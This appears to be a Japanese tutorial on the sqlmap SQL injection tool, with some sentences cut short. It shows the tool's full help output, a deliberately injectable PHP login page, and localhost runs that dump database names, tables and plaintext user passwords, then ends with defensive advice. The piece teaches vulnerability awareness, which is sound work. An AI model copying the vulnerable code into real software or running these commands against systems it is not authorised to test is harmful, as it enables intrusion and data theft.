今回は
sqlmapとは?
sqlmapとはブラインドSQLインジェクション攻撃を実行するツールです。オープンソースで開発され執筆時点の最新版は2010年3月14日にリリースされたバージョン0.
筆者は偶然、
sqlmapの概要
- 記述言語:Python
- MySQL, Oracle, PostgreSQL, MS SQL Serverをサポートし、
DB2、 Informix、 Sybase、 MS Accessを検出可能 - サポートするブラインドSQLインジェション: boolean型、
タイミング型 [1] - GET, POST, COOKIE, ユーザエージェントから自動的に脆弱性を検出
- HTTPおよびHTTPSをサポート
- Cookieベース、
HTTPベーシック認証、 HTTPダイジェスト認証、 NTLM認証の認証をサポート - OSとDBMS両方のフィンガープリティング
(名称、 バージョンの検出) - ユーザ権限、
パスワードハッシュ、 データベース、 テーブルなどの一覧抽出 - 任意SQLの実行
(UNIONクエリへの自動書き換え) - 任意ファイルのアップロードとダウンロード
- 任意コマンドの実行とコマンド出力の取得
- シェルコードの実行
- 権限昇格脆弱性の攻撃
- Windowsレジストリへの読み書きおよび削除
SQLインジェクションでこんな攻撃も可能なのか? と驚いた方も少なくないでしょう。条件さえ整っていれば、
インストール
インストールは非常に簡単です。pythonがインストールされていれば、
開発版のsubversionレポジトリも公開されており以下のURIからチェックアウトできます。
$ svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
ダウンロートと展開またはsvnレポジトリのチェックアウトが終わったら、
$ python sqlmap.py -h
を実行するとヘルプメッセージが表示されます。今回の記事の執筆にはsvnレポジトリの開発版を利用しました。
$ pwd /Users/yohgaki/tmp/sqlmap-dev $ python sqlmap.py -h sqlmap/0.9-dev - automatic SQL injection and database takeover tool http://sqlmap.sourceforge.net Usage: sqlmap.py [options] Options: --version show program's version number and exit -h, --help show this help message and exit -v VERBOSE Verbosity level: 0-5 (default 1) Target: At least one of these options has to be specified to set the source to get target urls from. -d DIRECT Direct connection to the database -u URL, --url=URL Target url -l LIST Parse targets from Burp or WebScarab proxy logs -r REQUESTFILE Load HTTP request from a file -g GOOGLEDORK Process Google dork results as target urls -c CONFIGFILE Load options from a configuration INI file Request: These options can be used to specify how to connect to the target url. --method=METHOD HTTP method, GET or POST (default GET) --data=DATA Data string to be sent through POST --cookie=COOKIE HTTP Cookie header --cookie-urlencode URL Encode generated cookie injections --drop-set-cookie Ignore Set-Cookie header from response --user-agent=AGENT HTTP User-Agent header -a USERAGENTSFILE Load a random HTTP User-Agent header from file --referer=REFERER HTTP Referer header --headers=HEADERS Extra HTTP headers newline separated --auth-type=ATYPE HTTP authentication type (Basic, Digest or NTLM) --auth-cred=ACRED HTTP authentication credentials (name:password) --auth-cert=ACERT HTTP authentication certificate (key_file,cert_file) --proxy=PROXY Use a HTTP proxy to connect to the target url --ignore-proxy Ignore system default HTTP proxy --threads=THREADS Maximum number of concurrent HTTP requests (default 1) --delay=DELAY Delay in seconds between each HTTP request --timeout=TIMEOUT Seconds to wait before timeout connection (default 30) --retries=RETRIES Retries when the connection timeouts (default 3) --scope=SCOPE Regexp to filter targets from provided proxy log Injection: These options can be used to specify which parameters to test for, provide custom injection payloads and how to parse and compare HTTP responses page content when using the blind SQL injection technique. -p TESTPARAMETER Testable parameter(s) --dbms=DBMS Force back-end DBMS to this value --os=OS Force back-end DBMS operating system to this value --prefix=PREFIX Injection payload prefix string --postfix=POSTFIX Injection payload postfix string --string=STRING String to match in page when the query is valid --regexp=REGEXP Regexp to match in page when the query is valid --excl-str=ESTRING String to be excluded before comparing page contents --excl-reg=EREGEXP Matches to be excluded before comparing page contents Techniques: These options can be used to test for specific SQL injection technique or to use one of them to exploit the affected parameter(s) rather than using the default blind SQL injection technique. --stacked-test Test for stacked queries (multiple statements) support --time-test Test for time based blind SQL injection --time-sec=TIMESEC Seconds to delay the DBMS response (default 5) --union-test Test for UNION query (inband) SQL injection --union-tech=UTECH Technique to test for UNION query SQL injection --union-use Use the UNION query (inband) SQL injection to retrieve the queries output. No need to go blind Fingerprint: -f, --fingerprint Perform an extensive DBMS version fingerprint Enumeration: These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements. -b, --banner Retrieve DBMS banner --current-user Retrieve DBMS current user --current-db Retrieve DBMS current database --is-dba Detect if the DBMS current user is DBA --users Enumerate DBMS users --passwords Enumerate DBMS users password hashes --privileges Enumerate DBMS users privileges --roles Enumerate DBMS users roles --dbs Enumerate DBMS databases --tables Enumerate DBMS database tables --columns Enumerate DBMS database table columns --dump Dump DBMS database table entries --dump-all Dump all DBMS databases tables entries -D DB DBMS database to enumerate -T TBL DBMS database table to enumerate -C COL DBMS database table column to enumerate -U USER DBMS user to enumerate --exclude-sysdbs Exclude DBMS system databases when enumerating tables --start=LIMITSTART First query output entry to retrieve --stop=LIMITSTOP Last query output entry to retrieve --first=FIRSTCHAR First query output word character to retrieve --last=LASTCHAR Last query output word character to retrieve --sql-query=QUERY SQL statement to be executed --sql-shell Prompt for an interactive SQL shell User-defined function injection: These options can be used to create custom user-defined functions. --udf-inject Inject custom user-defined functions --shared-lib=SHLIB Local path of the shared library File system access: These options can be used to access the back-end database management system underlying file system. --read-file=RFILE Read a file from the back-end DBMS file system --write-file=WFILE Write a local file on the back-end DBMS file system --dest-file=DFILE Back-end DBMS absolute filepath to write to Operating system access: These options can be used to access the back-end database management system underlying operating system. --os-cmd=OSCMD Execute an operating system command --os-shell Prompt for an interactive operating system shell --os-pwn Prompt for an out-of-band shell, meterpreter or VNC --os-smbrelay One click prompt for an OOB shell, meterpreter or VNC --os-bof Stored procedure buffer overflow exploitation --priv-esc Database process' user privilege escalation --msf-path=MSFPATH Local path where Metasploit Framework 3 is installed --tmp-path=TMPPATH Remote absolute path of temporary files directory Windows registry access: These options can be used to access the back-end database management system Windows registry. --reg-read Read a Windows registry key value --reg-add Write a Windows registry key value data --reg-del Delete a Windows registry key value --reg-key=REGKEY Windows registry key --reg-value=REGVAL Windows registry key value --reg-data=REGDATA Windows registry key value data --reg-type=REGTYPE Windows registry key value type Miscellaneous: -s SESSIONFILE Save and resume all data retrieved on a session file --flush-session Flush session file for current target --eta Display for each output the estimated time of arrival --gpage=GOOGLEPAGE Use google dork results from specified page number --update Update sqlmap --save Save options on a configuration INI file --batch Never ask for user input, use the default behaviour --cleanup Clean up the DBMS by sqlmap specific UDF and tables
sqlmapの使い方
コマンドのヘルプメッセージからも分かるようにsqlmapは非常に多くの機能を持っています。ここでは簡単な使い方を紹介します。
脆弱なWebアプリ
sqlmapを使うには脆弱なWebアプリが必要です。MacBookにPostgreSQL One-ClickインストーラでApache, PHP, PostgreSQLがインストールされた環境に脆弱なWebアプリを作りました。
<?php
error_reporting(E_ALL);
$msg = 'ユーザ名とパスワードを送信してください';
if (!empty($_REQUEST['username'])) {
// check login
$conn = pg_connect('host=localhost dbname=vulndb user=postgres password=postgres');
$sql = "SELECT id FROM users WHERE username= '".$_REQUEST['username']."' AND password = '".$_REQUEST['password']."';";
$res = pg_query($conn, $sql);
if (pg_num_rows($res)) {
$msg = 'ログインしました';
} else {
$msg = 'ユーザ名とパスワードを確認してください';
}
}
?>
<html>
<head><title>VulnAPp</title><head>
<body>
<div align="center">
<form action="<?php echo $_SERVER['PHP_SELF'] ?>">
<br />
ログインしてください<br />
<br />
ユーザ名:<input type="text" name="username" /><br />
パスワード:<input type="text" name="password" /><br />
<br />
<input type="submit" /><br />
<br />
<?php echo $msg ?><br />
</body>
</html>
単純にフォームに記入された内容がusersテーブルに保存されているユーザ名とパスワードに一致していれば
このアプリは典型的なSQLインジェクションに脆弱なアプリで、
このスクリプトは http://
$ psql -U postgres -l List of databases Name | Owner | Encoding | Access privileges -----------------+---------------+----------+----------------------- drupal | drupaluser | UTF8 | drupal7-alpha | postgres | UTF8 | guestbook | zfblog | UTF8 | mediawiki | mediawikiuser | UTF8 | phpbb | phpbbuser | UTF8 | phpwiki | phpwikiuser | UTF8 | postgres | postgres | UTF8 | template0 | postgres | UTF8 | =c/postgres : postgres=CTc/postgres template1 | postgres | UTF8 | =c/postgres : postgres=CTc/postgres vulndb | postgres | UTF8 | (10 rows)
$ psql -U postgres vulndb psql (8.4.0, server 8.3.5) WARNING: psql version 8.4, server version 8.3. Some psql features might not work. Type "help" for help. vulndb=# \d List of relations Schema | Name | Type | Owner --------+--------------------------------------+----------+---------- public | sadernzytn_cannot_guess_234234234234 | table | postgres public | users | table | postgres public | users_id_seq | sequence | postgres (3 rows) vulndb=# \d users Table "public.users" Column | Type | Modifiers ----------+---------+---------------------------------------------------- username | text | password | text | id | integer | not null default nextval('users_id_seq'::regclass) vulndb=# select * from users; username | password | id ----------+----------+---- foo | 1234 | 1 bar | bar | 2 hoge | fuga | 3 admin | admin | 4 (4 rows)
vulndbにはusersとおかしな名前のテーブルsadernzytn_
sqlmapが自動的にエラーを検出できるようphp.

これだけ明らかな脆弱性があると何もしなくてもデータベースの中身は丸見えになります。
sqlmapの実行
sqlmapの基本的な使い方を紹介します。
GETメソッドでパラメータが渡せる場合はURLにパラメータが記載された状態で渡します。
POSTメソッドでパラメータが渡される場合、
ログイン済みのサイトでSQLインジェクションを実行する場合、
--dbs | データベースの一覧 |
--tables | テーブルの一覧 |
-D | テータベースの指定 |
-T | テーブルの指定 |
--colums | -Tと一緒に使いテーブル定義を一覧 |
--dump | -Tと一緒に使いテーブルデータをダンプ |
沢山のオプションがあるので基本的なコマンドの使い方だけを紹介します。これだけもSQLインジェクション脆弱性の危険性を理解できると思います。
$ python sqlmap.py -u "http://localhost:8080/vulnapp/index.php?username=admin&password=admin" --dbs sqlmap/0.9-dev - automatic SQL injection and database takeover tool http://sqlmap.sourceforge.net [*] starting at: 17:02:47 [17:02:47] [INFO] using '/Users/yohgaki/tmp/tmp/sqlmap-dev/output/localhost/session' as session file [17:02:47] [INFO] testing connection to the target url [17:02:47] [INFO] testing if the url is stable, wait a few seconds [17:02:49] [INFO] url is stable [17:02:49] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic [17:02:49] [WARNING] User-Agent parameter 'User-Agent' is not dynamic [17:02:49] [INFO] testing if GET parameter 'username' is dynamic [17:02:49] [INFO] confirming that GET parameter 'username' is dynamic [17:02:49] [INFO] GET parameter 'username' is dynamic [17:02:49] [INFO] testing sql injection on GET parameter 'username' with 0 parenthesis [17:02:49] [INFO] testing unescaped numeric injection on GET parameter 'username' [17:02:49] [INFO] GET parameter 'username' is not unescaped numeric injectable [17:02:49] [INFO] testing single quoted string injection on GET parameter 'username' [17:02:49] [INFO] confirming single quoted string injection on GET parameter 'username' [17:02:49] [INFO] GET parameter 'username' is single quoted string injectable with 0 parenthesis [17:02:49] [INFO] testing if GET parameter 'password' is dynamic [17:02:49] [INFO] confirming that GET parameter 'password' is dynamic [17:02:49] [INFO] GET parameter 'password' is dynamic [17:02:49] [INFO] testing sql injection on GET parameter 'password' with 0 parenthesis [17:02:49] [INFO] testing unescaped numeric injection on GET parameter 'password' [17:02:49] [INFO] GET parameter 'password' is not unescaped numeric injectable [17:02:49] [INFO] testing single quoted string injection on GET parameter 'password' [17:02:49] [INFO] confirming single quoted string injection on GET parameter 'password' [17:02:49] [INFO] GET parameter 'password' is single quoted string injectable with 0 parenthesis there were multiple injection points, please select the one to use to go ahead: [0] place: GET, parameter: username, type: stringsingle (default) [1] place: GET, parameter: password, type: stringsingle [q] Quit > 0 [17:02:51] [INFO] testing for parenthesis on injectable parameter [17:02:51] [INFO] the injectable parameter requires 0 parenthesis [17:02:51] [INFO] testing MySQL [17:02:51] [WARNING] the back-end DMBS is not MySQL [17:02:51] [INFO] testing Oracle [17:02:51] [WARNING] the back-end DMBS is not Oracle [17:02:51] [INFO] testing PostgreSQL [17:02:51] [INFO] confirming PostgreSQL [17:02:51] [INFO] the back-end DBMS is PostgreSQL web application technology: Apache 2.2.11, PHP 5.2.9 back-end DBMS: PostgreSQL [17:02:51] [INFO] fetching database names [17:02:51] [INFO] fetching number of databases [17:02:51] [INFO] retrieved: 10 [17:02:52] [INFO] retrieved: drupal [17:02:53] [INFO] retrieved: drupal7-alpha [17:02:55] [INFO] retrieved: guestbook [17:02:57] [INFO] retrieved: mediawiki [17:02:59] [INFO] retrieved: phpbb [17:03:00] [INFO] retrieved: phpwiki [17:03:01] [INFO] retrieved: postgres [17:03:02] [INFO] retrieved: template0 [17:03:03] [INFO] retrieved: template1 [17:03:05] [INFO] retrieved: vulndb available databases [10]: [*] drupal [*] drupal7-alpha [*] guestbook [*] mediawiki [*] phpbb [*] phpwiki [*] postgres [*] template0 [*] template1 [*] vulndb [17:03:06] [INFO] Fetched data logged to text files under '/Users/yohgaki/tmp/tmp/sqlmap-dev/output/localhost' [*] shutting down at: 17:03:06 $
$ python sqlmap.py -u "http://localhost:8080/vulnapp/index.php?username=admin&password=admin" --tables sqlmap/0.9-dev - automatic SQL injection and database takeover tool http://sqlmap.sourceforge.net [*] starting at: 17:25:42 [17:25:42] [INFO] using '/Users/yohgaki/tmp/tmp/sqlmap-dev/output/localhost/session' as session file [17:25:42] [INFO] resuming match ratio '0.957' from session file [17:25:42] [INFO] resuming injection point 'GET' from session file [17:25:42] [INFO] resuming injection parameter 'username' from session file [17:25:42] [INFO] resuming injection type 'stringsingle' from session file [17:25:42] [INFO] resuming 0 number of parenthesis from session file [17:25:42] [INFO] resuming back-end DBMS 'postgresql' from session file [17:25:42] [INFO] testing connection to the target url [17:25:43] [INFO] testing for parenthesis on injectable parameter [17:25:43] [INFO] the back-end DBMS is PostgreSQL web application technology: Apache 2.2.11, PHP 5.2.9 back-end DBMS: PostgreSQL [17:25:43] [WARNING] on PostgreSQL it is only possible to enumerate on the current schema and on system databases, sqlmap is going to use 'public' schema as database name [17:25:43] [INFO] fetching tables for database 'public' [17:25:43] [INFO] fetching number of tables for database 'public' [17:25:43] [INFO] retrieved: 2 [17:25:43] [INFO] retrieved: sadernzytn_cannot_guess_234234234234 [17:25:50] [INFO] retrieved: users Database: public [2 tables] +--------------------------------------+ | sadernzytn_cannot_guess_234234234234 | | users | +--------------------------------------+ [17:25:51] [INFO] Fetched data logged to text files under '/Users/yohgaki/tmp/tmp/sqlmap-dev/output/localhost' [*] shutting down at: 17:25:51 $
$ python sqlmap.py -u "http://localhost:8080/vulnapp/index.php?username=admin&password=admin" -T users --dump sqlmap/0.9-dev - automatic SQL injection and database takeover tool http://sqlmap.sourceforge.net [*] starting at: 17:34:06 [17:34:06] [INFO] using '/Users/yohgaki/tmp/tmp/sqlmap-dev/output/localhost/session' as session file [17:34:06] [INFO] resuming match ratio '0.957' from session file [17:34:06] [INFO] resuming injection point 'GET' from session file [17:34:06] [INFO] resuming injection parameter 'username' from session file [17:34:06] [INFO] resuming injection type 'stringsingle' from session file [17:34:06] [INFO] resuming 0 number of parenthesis from session file [17:34:06] [INFO] resuming back-end DBMS 'postgresql' from session file [17:34:06] [INFO] testing connection to the target url [17:34:06] [INFO] testing for parenthesis on injectable parameter [17:34:06] [INFO] the back-end DBMS is PostgreSQL web application technology: Apache 2.2.11, PHP 5.2.9 back-end DBMS: PostgreSQL [17:34:06] [WARNING] on PostgreSQL it is only possible to enumerate on the current schema and on system databases, sqlmap is going to use 'public' schema as database name [17:34:06] [INFO] fetching columns for table 'users' on database 'public' [17:34:06] [INFO] fetching number of columns for table 'users' on database 'public' [17:34:06] [INFO] read from file '/Users/yohgaki/tmp/tmp/sqlmap-dev/output/localhost/session': 3 [17:34:06] [INFO] read from file '/Users/yohgaki/tmp/tmp/sqlmap-dev/output/localhost/session': username [17:34:06] [INFO] read from file '/Users/yohgaki/tmp/tmp/sqlmap-dev/output/localhost/session': password [17:34:06] [INFO] read from file '/Users/yohgaki/tmp/tmp/sqlmap-dev/output/localhost/session': id [17:34:06] [INFO] fetching entries for table 'users' on database 'public' [17:34:06] [INFO] fetching number of entries for table 'users' on database 'public' [17:34:06] [INFO] retrieved: 4 [17:34:06] [INFO] retrieved: 1 [17:34:06] [INFO] retrieved: 1234 [17:34:07] [INFO] retrieved: foo [17:34:07] [INFO] retrieved: 2 [17:34:08] [INFO] retrieved: bar [17:34:08] [INFO] retrieved: bar [17:34:09] [INFO] retrieved: 3 [17:34:09] [INFO] retrieved: fuga [17:34:10] [INFO] retrieved: hoge [17:34:10] [INFO] retrieved: 4 [17:34:10] [INFO] retrieved: admin [17:34:11] [INFO] retrieved: admin Database: public Table: users [4 entries] +----+----------+----------+ | id | password | username | +----+----------+----------+ | 1 | 1234 | foo | | 2 | bar | bar | | 3 | fuga | hoge | | 4 | admin | admin | +----+----------+----------+ [17:34:12] [INFO] Table 'public.users' dumped to CSV file '/Users/yohgaki/tmp/tmp/sqlmap-dev/output/localhost/dump/public/users.csv' [17:34:12] [INFO] Fetched data logged to text files under '/Users/yohgaki/tmp/tmp/sqlmap-dev/output/localhost' [*] shutting down at: 17:34:12 $
まとめ
何故SQLインジェクション脆弱性が狙われるのか、
アプリケーションによってはテーブルにプレフィックスを付け、
データベース
SQLデータベースのエラーが発生した場合でも通常のエラーと同じ画面
WAFもブラインドSQLインジェクション攻撃に対してはかなり効果的に機能するのですが、
脆弱性対策の基本は脆弱性の修正です。基本と原理を正しく理解していれば、